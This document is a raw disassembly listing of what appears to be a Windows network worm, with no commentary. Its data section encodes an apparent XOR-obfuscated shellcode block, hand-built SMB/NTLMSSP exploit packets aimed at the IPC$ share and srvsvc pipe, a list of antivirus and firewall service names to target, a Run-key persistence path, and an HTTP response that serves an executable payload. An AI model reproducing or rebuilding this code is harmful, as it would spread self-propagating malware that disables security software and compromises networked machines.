R O U T I N E ======================================= ; Attributes: thunk sub_440705 proc near ; CODE XREF: sub_440649+5p jmp dword ptr ds:loc_4052AB+1 sub_440705 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440711 proc near ; CODE XREF: sub_440441+91p jmp dword ptr ds:loc_4052B0 sub_440711 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_44071D proc near ; CODE XREF: .data:0043F590p jmp dword ptr ds:loc_4052B3+1 sub_44071D endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440729 proc near ; CODE XREF: sub_440649+51p jmp dword ptr ds:loc_4052B8 sub_440729 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440735 proc near ; CODE XREF: .data:0043F5C0p ; .data:0043F664p ... jmp dword ptr ds:loc_4052BA+2 sub_440735 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440741 proc near ; CODE XREF: .data:0043FE18p jmp dword ptr ds:loc_4052C0 sub_440741 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_44074D proc near ; CODE XREF: sub_4400CC+4p jmp dword ptr ds:loc_4052C4 sub_44074D endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440759 proc near ; CODE XREF: sub_43F320+1Ep jmp dword ptr ds:loc_4052C8 sub_440759 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440765 proc near ; CODE XREF: .data:0043F55Ep ; .data:0044040Ep jmp dword ptr ds:loc_4052C8+4 sub_440765 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440771 proc near ; CODE XREF: .data:0043F502p jmp dword ptr ds:loc_4052CD+3 sub_440771 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_44077D proc near ; CODE XREF: .data:0043F59Dp ; .data:0043FE30p jmp dword ptr ds:loc_4052D4 sub_44077D endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440789 proc near ; CODE XREF: .data:0043F57Ap jmp dword ptr ds:loc_4052D6+2 sub_440789 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440795 proc near ; CODE XREF: .data:0043F5BAp jmp dword ptr ds:loc_4052D9+3 sub_440795 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4407A1 proc near ; CODE XREF: sub_43F063+13p jmp dword ptr ds:loc_4052DE+2 sub_4407A1 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4407AD proc near ; CODE XREF: .data:0043F5D8p ; sub_43F771+17Ep jmp dword ptr ds:loc_4052E3+1 sub_4407AD endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4407B9 proc near ; CODE XREF: .data:0043F4F6p ; .data:0043F530p ... jmp dword ptr ds:loc_4052E8 sub_4407B9 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4407C5 proc near ; CODE XREF: sub_43F771+72p jmp dword ptr ds:loc_4052E8+4 sub_4407C5 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4407D1 proc near ; CODE XREF: sub_43F771+BBp ; sub_43F771+D9p ... jmp dword ptr ds:loc_4052F0 sub_4407D1 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4407DD proc near ; CODE XREF: .data:0043F65Ep ; .data:00440126p ... jmp dword ptr ds:loc_4052F0+4 sub_4407DD endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4407E9 proc near ; CODE XREF: sub_440172+185p jmp dword ptr ds:loc_4052F6+2 sub_4407E9 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4407F5 proc near ; CODE XREF: sub_440441+108p jmp dword ptr ds:loc_405301+3 sub_4407F5 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440801 proc near ; CODE XREF: sub_440441+60p jmp dword ptr ds:loc_405307+1 sub_440801 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_44080D proc near ; CODE XREF: sub_440441+12Bp jmp dword ptr ds:loc_40530B+1 sub_44080D endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440819 proc near ; CODE XREF: sub_440441+113p jmp dword ptr ds:loc_40530F+1 sub_440819 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440825 proc near ; CODE XREF: sub_440441+11Cp jmp dword ptr ds:loc_405312+2 sub_440825 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440831 proc near ; CODE XREF: .data:00440417p jmp dword ptr ds:loc_405318 sub_440831 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_44083D proc near ; CODE XREF: sub_440441+87p jmp dword ptr ds:loc_40531C sub_44083D endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440849 proc near ; CODE XREF: .data:00440424p jmp dword ptr ds:loc_405320 sub_440849 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440855 proc near ; CODE XREF: .data:00440437p jmp dword ptr ds:loc_405322+2 sub_440855 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440861 proc near ; CODE XREF: sub_440172+C5p ; sub_440172+205p jmp dword ptr ds:loc_40532E+2 sub_440861 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_44086D proc near ; CODE XREF: sub_440172+6Fp ; sub_440172+82p jmp dword ptr ds:loc_40532E+6 sub_44086D endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440879 proc near ; CODE XREF: sub_440172+BFp jmp dword ptr ds:loc_405336+2 sub_440879 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440885 proc near ; CODE XREF: sub_440172+2Cp jmp dword ptr ds:loc_40533B+1 sub_440885 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440891 proc near ; CODE XREF: sub_440172+59p jmp dword ptr ds:loc_40533E+2 sub_440891 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_44089D proc near ; CODE XREF: sub_440172+1F5p jmp dword ptr ds:loc_40533E+6 sub_44089D endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4408A9 proc near ; CODE XREF: sub_43F345+21p jmp dword ptr ds:loc_405347+1 sub_4408A9 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4408B5 proc near ; CODE XREF: sub_43F345+4Bp ; sub_43F3B0+40p ... jmp dword ptr ds:loc_405349+3 sub_4408B5 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4408C1 proc near ; CODE XREF: sub_43F3B0+16p ; sub_440172+1D1p jmp dword ptr ds:loc_405350 sub_4408C1 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4408CD proc near ; CODE XREF: sub_43F3B0+36p jmp dword ptr ds:loc_405350+4 sub_4408CD endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4408D9 proc near ; CODE XREF: sub_43F345+41p jmp dword ptr ds:loc_405357+1 sub_4408D9 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4408E5 proc near ; CODE XREF: sub_43F285+15p jmp dword ptr ds:loc_405364 sub_4408E5 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4408F1 proc near ; CODE XREF: .data:0043F24Bp jmp dword ptr ds:loc_405364+4 sub_4408F1 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4408FD proc near ; CODE XREF: .data:0043FE5Ap ; .data:0043FE94p ... jmp dword ptr ds:loc_40536B+1 sub_4408FD endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440909 proc near ; CODE XREF: .data:0043F276p jmp dword ptr ds:loc_405370 sub_440909 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440915 proc near ; CODE XREF: sub_43F771+B2p ; sub_43F771+D0p ... jmp dword ptr ds:loc_405372+2 sub_440915 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440921 proc near ; CODE XREF: sub_43F771+16Dp ; sub_43F771+2E4p ... jmp dword ptr ds:loc_405372+6 sub_440921 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_44092D proc near ; CODE XREF: .data:0043F1CCp jmp dword ptr ds:loc_40537A+2 sub_44092D endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440939 proc near ; CODE XREF: sub_43F670:loc_43F699p ; sub_43F670:loc_43F6F3p ... jmp dword ptr ds:loc_405380 sub_440939 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440945 proc near ; CODE XREF: .data:0043F185p ; .data:0043F19Fp ... jmp dword ptr ds:loc_405382+2 sub_440945 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440951 proc near ; CODE XREF: .data:0043F48Bp ; sub_43F670+F4p ... jmp dword ptr ds:loc_405386+2 sub_440951 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_44095D proc near ; CODE XREF: .data:0043FE1Ep jmp dword ptr ds:loc_40538B+1 sub_44095D endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440969 proc near ; CODE XREF: sub_43F285+6Bp ; sub_43F285+8Ep ... jmp dword ptr ds:loc_405390 sub_440969 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440975 proc near ; CODE XREF: sub_440649+17p jmp dword ptr ds:loc_405392+2 sub_440975 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440981 proc near ; CODE XREF: .data:0043F43Cp ; .data:0043F458p jmp dword ptr ds:loc_405392+6 sub_440981 endp ; --------------------------------------------------------------------------- db 90h dd 90h, 17h dup(0) dd 40300000h, 40311000h, 800000h, 22h dup(0) dd 5000h, 0 dd 34303400h, 746F4E20h, 756F6620h, 2900646Eh, 0D960413Ah dd 170A0705h, 27251F1Bh, 2AC9C5ACh, 0DF7F5F3Ch, 746845EBh dd 2F3A7074h, 3732312Fh, 2 dup(3030302Eh), 3130302Eh, 3030303Ah dd 662F3038h, 0AEAE6273h, 335DAE62h, 0A0B966C9h, 5758D01h dd 68AFE8Bh, 575993Ch, 2C068A46h, 99344630h, 0E2470788h dd 0E80AEBEDh, 0FFFFFFDAh, 99999999h, 41E41499h, 0C9994671h dd 0C999C999h, 712FE414h, 99C9994Eh, 0F3C999C9h, 0C999F19Dh dd 99C99989h, 0C999F1C9h, 999CC999h, 0C999F3C9h, 99988B71h dd 67C999C9h, 10F0E3F3h, 9998931Ch, 0F3C999C9h, 414C999h dd 0C999989Bh, 71CAC999h, 99C99963h, 0BC999C9h, 10A7C196h dd 0C999671Ch, 0C999C999h, 9666611Ah, 0C999091Dh, 0C999C999h dd 0C8C850B2h, 1498F3C8h, 71C941DCh, 99C99936h, 4EC999C9h dd 1291C0A4h, 0ED599249h, 0C959B2EFh, 14C9C9C9h, 0CBCA2FC4h dd 0C9990C71h, 0C999C999h, 21E424FFh, 0C7ED5992h, 99F1CDCDh dd 9CC999C9h, 2C66C999h, 0C9999893h, 71C9C999h, 99C999E3h dd 0FBC999C9h, 6683B8B0h, 9998932Ch, 66C999C9h, 0C999672Ch dd 0C999C999h, 0C9991471h, 0C999C999h, 0E7C29C9Bh, 99672C66h dd 99C999C9h, 99E771C9h, 99C999C9h, 31F1AC9h, 149CF3A4h dd 99989B04h, 0CAC999C9h, 0C999F571h, 0C999C999h, 7126F434h dd 71C998F3h, 99C999F9h, 77C999C9h, 14865973h, 496624D4h dd 0C999CB71h, 0C999C999h, 0EF133BF9h, 0A13729F9h, 0DE9AED9Eh dd 9E5F6072h, 5AF8C999h, 0C999A9C1h, 2 dup(0C999C999h) dd 0B7FBEAFFh, 99FCE1FCh, 4 dup(99C999C9h), 0F934C7C9h dd 25B459AAh, 0C9662A2Ah, 819093ACh, 909CC9B7h, 0C983639Dh dd 999271CDh, 99C999C9h, 3519BFC9h, 0BDFD1451h, 91720A95h dd 71F934C7h, 99C999C8h, 12C999C9h, 0D512A5D2h, 529AE180h dd 8D146FAAh, 0B9C89A2Ah, 4A9A8B12h, 595859AAh, 0DB9BAB9Eh dd 0C999A319h, 0DDA26CECh, 9EED85BDh, 81E8A2DFh, 125544EBh dd 4A9ABDC8h, 0EB8D2E96h, 9A85D812h, 99D125Ah, 0DD105A9Ah dd 10F885BDh, 9998971Ch, 66C999C9h, 0FD7F6649h, 0A98712FEh dd 0C212C999h, 85C21295h, 0C2128212h, 0FDC65A91h, 0C6EAFAh dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) dd 0FEFF0000h, 0 dd 2006200h, 4E204350h, 4F575445h, 50204B52h, 52474F52h dd 31204D41h, 200302Eh, 4D4E414Ch, 2E314E41h, 57020030h dd 6F646E69h, 66207377h, 5720726Fh, 676B726Fh, 70756F72h dd 2E332073h, 2006131h, 2E314D4Ch, 30305832h, 4C020032h dd 414D4E41h, 312E324Eh, 544E0200h, 204D4C20h, 32312E30h dd 0 dd 53FFA400h, 73424Dh, 18000000h, 0C807h, 3 dup(0) dd 0FEFFh, 0FF0C0010h, 400A400h, 0A11h, 0 dd 2000h, 0D4000000h, 69800000h, 4C544E00h, 5053534Dh dd 100h, 8829700h, 0E0h, 3 dup(0) dd 570000h, 6E0069h, 6F0064h, 730077h, 320020h, 300030h dd 200030h, 310032h, 350039h, 570000h, 6E0069h, 6F0064h dd 730077h, 320020h, 300030h, 200030h, 2E0035h, 30h, 0 dd 0FFDA0000h, 73424D53h, 0 dd 0C80718h, 3 dup(0) dd 0FEFF00h, 0C002008h, 0DA00FFh, 0A1104h, 0 dd 570000h, 0 dd 800000D4h, 544E009Fh, 53534D4Ch, 30050h, 10000h, 460001h dd 0 dd 470000h, 0 dd 400000h, 0 dd 400000h, 60000h, 400006h, 100000h, 470010h, 8A150000h dd 48E088h, 44004Fh, 6A198100h, 49E4F27Ah, 30AF281Ch, 67107425h dd 69005753h, 64006E00h, 77006F00h, 20007300h, 30003200h dd 30003000h, 32002000h, 39003100h, 3500h, 69005700h, 64006E00h dd 77006F00h, 20007300h, 30003200h, 30003000h, 35002000h dd 30002E00h, 2 dup(0) dd 53FF5C00h, 75424Dh, 18000000h, 0C807h, 3 dup(0) dd 800FEFFh, 0FF040030h, 8005C00h, 31000100h, 5C0000h dd 31005Ch, 320039h, 31002Eh, 380036h, 31002Eh, 32002Eh dd 300031h, 49005Ch, 430050h, 24h, 3F3F3F3Fh, 3Fh, 0FF640000h dd 0A2424D53h, 0 dd 0C80718h, 3 dup(0) dd 4DC08h, 18004008h, 0DEDE00FFh, 16000E00h, 0 dd 9F000000h, 201h, 2 dup(0) dd 3000000h, 1000000h, 40000000h, 2000000h, 3000000h, 5C000011h dd 73006C00h, 72006100h, 63007000h, 0 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0C000000h dd 4D53FFF4h, 2542h, 7180000h, 0C8h, 2 dup(0) dd 0DC080000h, 60080004h, 1000h, 0CA0h, 400h, 2 dup(0) dd 540000h, 540CA0h, 260002h, 0CB14000h, 50005C10h, 50004900h dd 5C004500h, 0 dd 500h, 1003h, 0CA000h, 100h, 0C8800h, 9000000h, 3EC00h dd 0 dd 3EC00h, 14950000h, 30040h, 707C0000h, 10040h, 0 dd 10000h, 0 dd 10000h, 0 dd 10000h, 0 dd 10000h, 0 dd 10000h, 0 dd 10000h, 0 dd 10000h, 0 dd 707C0000h, 10040h, 0 dd 10000h, 0 dd 707C0000h, 10040h, 0 dd 10000h, 0 dd 707C0000h, 10040h, 0 dd 10000h, 0 dd 85780000h, 5BAB0013h, 0E9A6h, 0FFF81000h, 2F424D53h dd 0 dd 0C80718h, 3 dup(0) dd 0FEFF08h, 0E006008h, 0DEDE00FFh, 4000h, 0FFFF0000h dd 8FFFFh, 10B8h, 4010B8h, 0 dd 5EE10B9h, 10010000h, 0B8000000h, 1000010h, 0C000000h dd 20h, 0AD000900h, 0Dh, 0AD000000h, 0Dh, 0D80F0000h, 424D53FFh dd 25h, 0C8071800h, 3 dup(0) dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0 dd 40A89A00h, 100h, 0 dd 100h, 0 dd 100h, 0 dd 100h, 0 dd 100h, 0 dd 100h, 0 dd 100h, 0 dd 100h, 0 dd 40A89A00h, 100h, 0 dd 100h, 0 dd 40A89A00h, 100h, 0 dd 100h, 0 dd 40A89A00h, 100h, 0 dd 100h, 10h dup(0) dd 460000h, 101h, 0Dh dup(0) dd 15123C00h, 275h, 0Dh dup(0) dd 1C123C00h, 75h, 0Eh dup(0) dd 0EC816600h, 0E4FF071Ch, 100h, 404CF700h, 404CE900h dd 200h, 180h, 404CF700h, 404CE000h, 100h, 180h, 404CF700h dd 404CCF00h, 200h, 80h, 0 dd 404CB500h, 0 dd 404C9C00h, 2 dup(0) dd 404C8C00h, 2 dup(0) dd 404C8200h, 2 dup(0) dd 404C6900h, 2 dup(0) dd 404C5000h, 2 dup(0) dd 404C4300h, 2 dup(0) dd 404C3300h, 100h, 0 dd 404C2C00h, 100h, 4049F800h, 404C2400h, 100h, 0 dd 404C1900h, 2 dup(0) dd 404C1200h, 100h, 0 dd 404C0C00h, 100h, 0 dd 404C0300h, 100h, 0 dd 404BFC00h, 100h, 0 dd 404BF300h, 100h, 0 dd 404BEC00h, 100h, 0 dd 404BE500h, 100h, 0 dd 404BDD00h, 100h, 0 dd 404BD700h, 100h, 404A0800h, 404BD000h, 100h, 0 dd 404BC800h, 100h, 0 dd 404BC100h, 100h, 0 dd 404BBB00h, 100h, 0 dd 404BB200h, 100h, 404A1800h, 404BAD00h, 100h, 0 dd 404BA800h, 100h, 404A2800h, 404BA200h, 100h, 0 dd 524F5700h, 6669004Dh, 6F530063h, 61777466h, 4D5C6572h dd 6F726369h, 74666F73h, 6E69575Ch, 73776F64h, 6B005C00h dd 6469706Ch, 706C6B00h, 6C6B0066h, 76006669h, 74616473h dd 746E61h, 6F6D7376h, 6D6B006Eh, 78627378h, 786D6B00h dd 7369646Eh, 786D6B00h, 736469h, 66786D6Bh, 6D6B0077h dd 6C696678h, 6D6B0065h, 67666378h, 786D6B00h, 676962h dd 61786D6Bh, 746E6567h, 786D5500h, 676643h, 41786D55h dd 746E6567h, 786D5500h, 5500554Ch, 6F50786Dh, 6D53006Ch dd 72655363h, 65636976h, 69667300h, 7265746Ch, 736E6C00h dd 317766h, 7074754Fh, 4674736Fh, 77657269h, 6C6C61h, 72616873h dd 63616465h, 73736563h, 41634D00h, 20656566h, 6D617246h dd 726F7765h, 6553206Bh, 63697672h, 65440065h, 74636574h dd 6420726Fh, 664F2065h, 65636966h, 6E616353h, 5A00544Eh dd 41656E6Fh, 6D72616Ch, 6E615000h, 41206164h, 7669746Eh dd 73757269h, 726F4E00h, 206E6F74h, 69746E41h, 75726976h dd 65532073h, 63697672h, 614B0065h, 72657073h, 20796B73h dd 69746E41h, 6361482Dh, 2E72656Bh, 6B6E6Ch, 656E6F5Ah dd 62614C20h, 6C432073h, 746E6569h, 6F4D4100h, 6F74696Eh dd 6F4C0072h, 27206B6Fh, 5320276Eh, 706F74h, 54464F53h dd 45524157h, 63694D5Ch, 6F736F72h, 575C7466h, 6F646E69h dd 435C7377h, 65727275h, 6556746Eh, 6F697372h, 75525C6Eh dd 78006Eh, 253A7325h, 31002F75h, 312E3239h, 252E3836h dd 75252E75h, 32373100h, 2E75252Eh, 252E7525h, 30310075h dd 2E75252Eh, 252E7525h, 6EB0075h, 5C0006EBh, 5C73255Ch dd 24637069h, 2E752500h, 252E7525h, 75252E75h, 54544800h dd 2E312F50h, 30322031h, 4B4F2030h, 0A0D0A0Dh, 43000A0Dh dd 65746E6Fh, 4C2D746Eh, 74676E65h, 25203A68h, 0D0A0D75h dd 5448000Ah, 312F5054h, 3220312Eh, 4F203030h, 430A0D4Bh dd 65746E6Fh, 542D746Eh, 3A657079h, 70706120h, 6163696Ch dd 6E6F6974h, 652D782Fh, 632D6578h, 72706D6Fh, 65737365h dd 0A0D64h, 787878h, 544547h, 300050h, 6 dup(0) dd 50F400h, 2 dup(0) dd 57F400h, 524C00h, 513800h, 2 dup(0) dd 583C00h, 529000h, 514400h, 2 dup(0) dd 584C00h, 529C00h, 515000h, 2 dup(0) dd 585C00h, 52A800h, 51AC00h, 2 dup(0) dd 58C000h, 530400h, 51D800h, 2 dup(0) dd 58F000h, 533000h, 520C00h, 2 dup(0) dd 592C00h, 536400h, 1Ah dup(0) dd 53A000h, 53B000h, 53BC00h, 53C400h, 53D400h, 53E000h dd 53F000h, 540000h, 540800h, 541400h, 542000h, 542C00h dd 543400h, 543C00h, 544800h, 2 dup(0) dd 545400h, 2 dup(0) dd 547000h, 2 dup(0) dd 548C00h, 549C00h, 54B000h, 54C800h, 54D800h, 54EC00h dd 54FC00h, 550C00h, 551C00h, 553000h, 554800h, 556000h dd 557000h, 558000h, 558C00h, 559800h, 55A800h, 55B000h dd 55BC00h, 55C800h, 55D800h, 2 dup(0) dd 55E800h, 55F400h, 560800h, 561800h, 562C00h, 564000h dd 565400h, 566800h, 567800h, 2 dup(0) dd 568C00h, 56A400h, 56B800h, 56C800h, 56DC00h, 56EC00h dd 570000h, 571400h, 572400h, 573400h, 574800h, 2 dup(0) dd 575C00h, 576400h, 577400h, 578000h, 578800h, 579400h dd 57A000h, 57A800h, 57B000h, 57BC00h, 57C800h, 57D000h dd 57DC00h, 57E800h, 2 dup(0) dd 53A000h, 53B000h, 53BC00h, 53C400h, 53D400h, 53E000h dd 53F000h, 540000h, 540800h, 541400h, 542000h, 542C00h dd 543400h, 543C00h, 544800h, 2 dup(0) dd 545400h, 2 dup(0) dd 547000h, 2 dup(0) dd 548C00h, 549C00h, 54B000h, 54C800h, 54D800h, 54EC00h dd 54FC00h, 550C00h, 551C00h, 553000h, 554800h, 556000h dd 557000h, 558000h, 558C00h, 559800h, 55A800h, 55B000h dd 55BC00h, 55C800h, 55D800h, 2 dup(0) dd 55E800h, 55F400h, 560800h, 561800h, 562C00h, 564000h dd 565400h, 566800h, 567800h, 2 dup(0) dd 568C00h, 56A400h, 56B800h, 56C800h, 56DC00h, 56EC00h dd 570000h, 571400h, 572400h, 573400h, 574800h, 2 dup(0) dd 575C00h, 576400h, 577400h, 578000h, 578800h, 579400h dd 57A000h, 57A800h, 57B000h, 57BC00h, 57C800h, 57D000h dd 57DC00h, 57E800h, 0 dd 57003000h, 74534153h, 75747261h, 70h, 61003500h, 70656363h dd 74h, 62003600h, 646E69h, 63003700h, 65736F6Ch, 6B636F73h dd 7465h, 63003800h, 656E6E6Fh, 7463h, 67003B00h, 6F687465h dd 79627473h, 656D616Eh, 67003C00h, 6F687465h, 616E7473h dd 656Dh, 68004600h, 736E6F74h, 69004700h, 5F74656Eh, 72646461h dd 69004900h, 5F74656Eh, 616F746Eh, 6C004B00h, 65747369h dd 6Eh, 72004F00h, 766365h, 73005500h, 646E65h, 73005900h dd 64747568h, 6E776Fh, 73005A00h, 656B636Fh, 74h, 49008100h dd 7265746Eh, 4774656Eh, 6F437465h, 63656E6Eh, 53646574h dd 65746174h, 53004F00h, 74654748h, 63657053h, 466C6169h dd 65646C6Fh, 74615072h, 4168h, 45008200h, 54746978h, 61657268h dd 64h, 4700CA00h, 6F437465h, 6E616D6Dh, 6E694C64h, 4165h dd 4700DE00h, 75437465h, 6E657272h, 6F725074h, 73736563h dd 6449h, 4700F800h, 69467465h, 6953656Ch, 657Ah, 47010C00h dd 6F4D7465h, 656C7564h, 646E6148h, 41656Ch, 43001B00h dd 65736F6Ch, 646E6148h, 656Ch, 47015500h, 69547465h, 6F436B63h dd 746E75h, 47015C00h, 65567465h, 6F697372h, 6Eh, 47016800h dd 61626F6Ch, 6464416Ch, 6D6F7441h, 41h, 49019200h, 7265746Eh dd 6B636F6Ch, 78456465h, 6E616863h, 6567h, 49019400h, 7265746Eh dd 6B636F6Ch, 6E496465h, 6D657263h, 746E65h, 4C01AD00h dd 6C61636Fh, 6F6C6C41h, 63h, 43003100h, 74616572h, 6C694665h dd 4165h, 5201FA00h, 46646165h, 656C69h, 52020E00h, 6E556C74h dd 646E6977h, 52020F00h, 655A6C74h, 654D6F72h, 79726F6Dh dd 53026400h, 7065656Ch, 6C02C600h, 63727473h, 416E7970h dd 6C02C900h, 6C727473h, 416E65h, 43004700h, 74616572h dd 72685465h, 646165h, 44005400h, 74656C65h, 6C694665h dd 4165h, 5300FE00h, 69547465h, 72656Dh, 52000200h, 73696765h dd 43726574h, 7373616Ch, 41h, 47002000h, 654D7465h, 67617373h dd 4165h, 54002400h, 736E6172h, 6574616Ch, 7373654Dh, 656761h dd 44002500h, 61707369h, 4D686374h, 61737365h, 416567h dd 50003D00h, 5174736Fh, 4D746975h, 61737365h, 6567h, 43004F00h dd 74616572h, 6E695765h, 45776F64h, 4178h, 44005100h, 72747365h dd 6957796Fh, 776F646Eh, 44005B00h, 69576665h, 776F646Eh dd 636F7250h, 41h, 4300BF00h, 65736F6Ch, 76726553h, 48656369h dd 6C646E61h, 65h, 4300C000h, 72746E6Fh, 65536C6Fh, 63697672h dd 65h, 4400C300h, 74656C65h, 72655365h, 65636976h, 4F00D100h dd 536E6570h, 6E614D43h, 72656761h, 41h, 4F00D300h, 536E6570h dd 69767265h, 416563h, 52016700h, 65446765h, 6574656Ch dd 756C6156h, 4165h, 52017100h, 72436765h, 65746165h, 4579654Bh dd 4178h, 52017400h, 6C436765h, 4B65736Fh, 7965h, 52017900h dd 704F6765h, 654B6E65h, 41784579h, 52018400h, 75516765h dd 56797265h, 65756C61h, 417845h, 52019000h, 65536765h dd 6C615674h, 78456575h, 41h, 5F00E800h, 616F7469h, 5F001800h dd 7465475Fh, 6E69614Dh, 73677241h, 5F018100h, 65656C73h dd 70h, 65020A00h, 746978h, 6D025400h, 70636D65h, 79h dd 6D025600h, 65736D65h, 74h, 72026000h, 65736961h, 72026100h dd 646E61h, 73026A00h, 616E6769h, 6Ch, 73026D00h, 6E697270h dd 6674h, 73026F00h, 646E6172h, 73027100h, 61637274h, 74h dd 73027200h, 68637274h, 72h, 73028000h, 